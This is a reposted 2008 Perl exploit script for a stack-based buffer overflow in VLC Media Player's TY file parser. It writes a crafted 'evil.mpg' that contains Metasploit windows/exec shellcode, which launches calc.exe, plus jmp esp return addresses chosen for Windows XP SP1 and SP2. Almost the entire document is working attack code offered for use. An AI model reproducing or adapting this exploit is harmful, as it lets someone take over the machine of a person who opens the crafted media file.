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VLC Media Player TY File Stack Based Buffer Overflow Exploit
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来源：www.vfcocus.net 作者：k`sOSe 发布时间：2008-10-22
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#!/usr/bin/perl
# 10/21/2008 k`sOSe
use warnings;
use strict;
# windows/exec - 141 bytes
# http://www.metasploit.com
my $shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x43\x3a\x5c\x57\x49\x4e\x44\x4f\x57\x53\x5c\x73\x79\x73" .
"\x74\x65\x6d\x33\x32\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65" .
"\x00";
usage() if(!defined(@ARGV) or scalar(@ARGV) < 1 or $ARGV[0] !~ /^\d$/ or $ARGV[0] > 1);
my @targets = (
"\x24\x11\x62\x77", # jmp esp @ shell32.dll - Win XP SP1
"\xb3\x57\x04\x7d" # jmp esp @ shell32.dll - Win XP SP2
);
my $junk = "\x41";
open(my $file, "> evil.mpg");
print $file "\xF5\x46\x7A\xBD" . # TIVO_PES_FILEID
"\x00\x00\x00\x02" .
"\x00\x02\x00\x00" . # CHUNK_SIZE
$junk x 8 .
"\x00\x00\x05\x41" . # i_map_size
$junk x 4 .
"\x00\x00\x05\x49" . # SEQ table size / (i_map_size + 8) == 1
$junk x 60 .
$targets[$ARGV[0]] .
$shellcode .
$junk x 130835 .
"\x05" . # i_num_recs
$junk x 3 .
"\x05" . # p_hdrs
$junk x 1 .
"\x09" . # subrec_type \
# (subrec type & 0x0f) << 8 | rec_type == 0x9c0 -> AC-3 Audio (DTivo)
"\xc0" . # rec_type /
$junk x 14 .
"\x06" . # subrec_type \
# (subrec type & 0x0f) << 8 | rec_type == 0x6e0 -> Series 1 Tivo
"\xe0" . # rec_type /
$junk x 531062;
sub usage
{
print <<EOM;
VLC Media Player TY File Stack Based Buffer Overflow Exploit
k`sOSe - 10/21/2008
usage:
$0 <target>
targets:
0 - Windows XP SP1
1 - Windows XP SP2
EOM
exit;
}
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